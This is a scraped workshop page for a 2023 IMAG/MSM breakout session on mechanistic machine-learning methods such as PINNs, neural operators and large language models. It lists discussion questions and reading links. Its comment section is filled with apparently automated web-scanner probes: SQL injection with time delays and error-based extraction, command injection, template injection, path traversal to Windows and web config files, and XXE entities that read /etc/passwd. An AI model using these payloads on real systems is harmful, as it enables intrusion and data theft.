Back to 2023 Agenda

Back to main Breakout Session page

2. New Mechanistic-ML Methods: PINN, transformer, neural operators, XAI, Large Language Models

MSM lead: George Karniadakis; IMAG lead: Mauricio Rangel-Gomez, Ilana Goldberg, Julia Berzhanskaya

What are the similarities and differences between current methods; e.g. PINN, neural operator, transformer, XAI, Large Language models?
What are the opportunities to improve these methods?
How can these methods be applied to blood diagnostics an diseases as it pertains to the IMAG interest group AI and Machine Learning for Blood Diagnostics and Diseases | Interagency Modeling and Analysis Group (nih.gov)?
How can these methods be applied to neuroscience?
How can these methods be used in the IMAG initiatives discussed in Session 2.1?
How can we use biomechanistic and bioinformatics models synenergistically?
Graph neural networks and causal inference.
Uncertainty quantification in neural networks.

Resources:

Articles of Interest:

Stop explaining black box machine learning models for high stakes decisions and use interpretable models instead

[2303.12093] ChatGPT for Programming Numerical Methods (arxiv.org)

4 Ideas for Physics-Informed Neural Networks that FAILED | by Rafael Bischof | Towards Data Science

10 Exciting Project Ideas Using Large Language Models (LLMs) for Your Portfolio | by Leonie Monigatti | May, 2023 | Towards Data Science

Uncertainty quantification in scientific machine learning: Methods, metrics, and comparisons

Learning nonlinear operators via DeepONet based on the universal approximation theorem of operators

A Deep convolutional neural network for classification of red blood cells in sickle cell anemia

NIH Announcements:

NIMH » Explainable Artificial Intelligence for Decoding and Modulating Behaviorally-Activated Brain Circuits (nih.gov)

NOT-MH-23-110: Notice of Special Interest (NOSI): Explainable Artificial Intelligence for Decoding and Modulating Neural Circuit Activity Linked to Behavior (nih.gov)

May 31, 2023: NIH Pragmatic Trials Collaboratory Announces Virtual Workshop on Getting the Right Evidence to Decision-Makers Faster - Rethinking Clinical Trials

IMAG wiki: Models, Tools and Databases

MSM Theoretical and Computational Methods WG

2019 IMAG ML-MSM Meeting

Publication from 2019 ML-MSM meeting

Comment

SET /A 0xFFF9999-61938

Comment

=268409241-61426

Comment

')) WAITFOR DELAY '0:0:25'-- /* d9935a46-08ab-4102-8aca-012608418030 */

Comment

${28275*28275-(63460)}

Comment

NSFTW

Comment

c%3a%5cboot.ini

Comment

http://example.com/?
ns: netsparker056650=vuln

Comment

ping -w 25 127.0.0.1

Comment

+response.write(268409241-53843)'

Comment

| SET /A 0xFFF9999-81946

Comment

=268409241-49053

Comment

')) WAITFOR DELAY '0:0:25'-- /* 8d701d4c-5254-4a9a-9e92-7bd9e2a84e05 */

Comment

${28275*28275-(14370)}

Comment

'+NSFTW+'

Comment

/../../../../../../../../../../web.config

Comment

javascript:netsparker(0x0A7A23)

Comment

ns:netsparker056650=vuln

Comment

|ping -n 25 127.0.0.1

Comment

"+response.write(268409241-73562)+"

Comment

| SET /A 0xFFF9999-18786

Comment

<%- 268409241-53315 %>

Comment

N3tSp4rK3R

Comment

1)) WAITFOR DELAY '0:0:25'-- /* 4e4c31fc-7a4c-4633-bdc1-53e94192bf1c */

Comment

#{28275*28275-(31415)}

Comment

(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)

Comment

/../../../../../../../../../../windows/win.ini

Comment

Comment

ns:netsparker056650=vuln

Comment

<?xml version="1.0"?><!DOCTYPE ns [<!ELEMENT ns ANY><!ENTITY lfi SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">]><ns>&lfi;</ns>

Comment

|sleep 25

Comment

"+response.write(268409241-46623)+"

Comment

1";expr 268409241 - 8711;"

Comment

<%- 268409241-7681 %>

Comment

1)) WAITFOR DELAY '0:0:25'-- /* 2115d121-7a2a-4806-921e-0a3f095868b1 */

Comment

NS09＜s1﹥DBLʺSNGLʹNS09

Comment

#{28275*28275-(16825)}

Comment

-1'+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'

Comment

file:///windows/win.ini

Comment

*/netsparker(0x0A7B8C);/*

Comment

<?xml version="1.0"?><!DOCTYPE ns [<!ELEMENT ns ANY><!ENTITY lfi SYSTEM "file:///etc/passwd">]><ns>&lfi;</ns>

Comment

<% response.write(268409241-79839) %>

Comment

1";expr 268409241 - 2535;"

Comment

<#assign x=268409241 - 71840>
${x?string["0"]}

Comment

1));DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- /* 2b40dca2-7643-4cf4-b73c-4036065888f8 */

Comment

1 procedure analyse(extractvalue(rand(),concat(0x3a,CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))),1)-- 1

Comment

'"/$[].>

Comment

/../../../../../../../../../../windows/win.ini.php

Comment

'+netsparker(0x0A7CD5)+'

Breakout 2 - New Mechanistic-ML Methods

Uncertainty quantification in scientific machine learning: Methods, metrics, and comparisons

Learning nonlinear operators via DeepONet based on the universal approximation theorem of operators

NIH Announcements:

Comment